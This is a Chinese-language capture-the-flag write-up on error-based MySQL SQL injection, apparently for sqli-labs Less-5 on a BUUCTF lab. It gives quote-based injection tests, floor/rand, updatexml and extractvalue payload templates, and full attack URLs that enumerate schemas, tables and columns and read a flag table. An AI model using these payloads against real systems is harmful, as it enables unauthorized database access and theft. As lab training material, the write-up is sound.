判断是除了在id=1后面加引号,还可以加引号加单括号,等等…
如:id=1’
id=1’) and ‘1’=‘1’ and ‘1’=‘2’
id=1"
id=1") and ‘1’=‘1’ and ‘1’=‘2’
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
PS:FLOOR(X)——返回不大于X的最大整数值
RAND()——返回一个随机浮点值 v ,范围在 0 到1 之间
x是什么意思,可能有些同学不太熟悉sql语句,floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一 个别名,就是x就等于floor(rand(0)*2),这样做的目的是让group by 和 floor(rand(0)*2)相遇(请原谅我这么解释)
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
查询数据库
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1’ and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 一个一个数据库查
查询数据库中的表
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1’ and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=“ctftraining” limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
查表中的字段
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1’ and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = ‘flag’ limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
查数据
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1’ and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+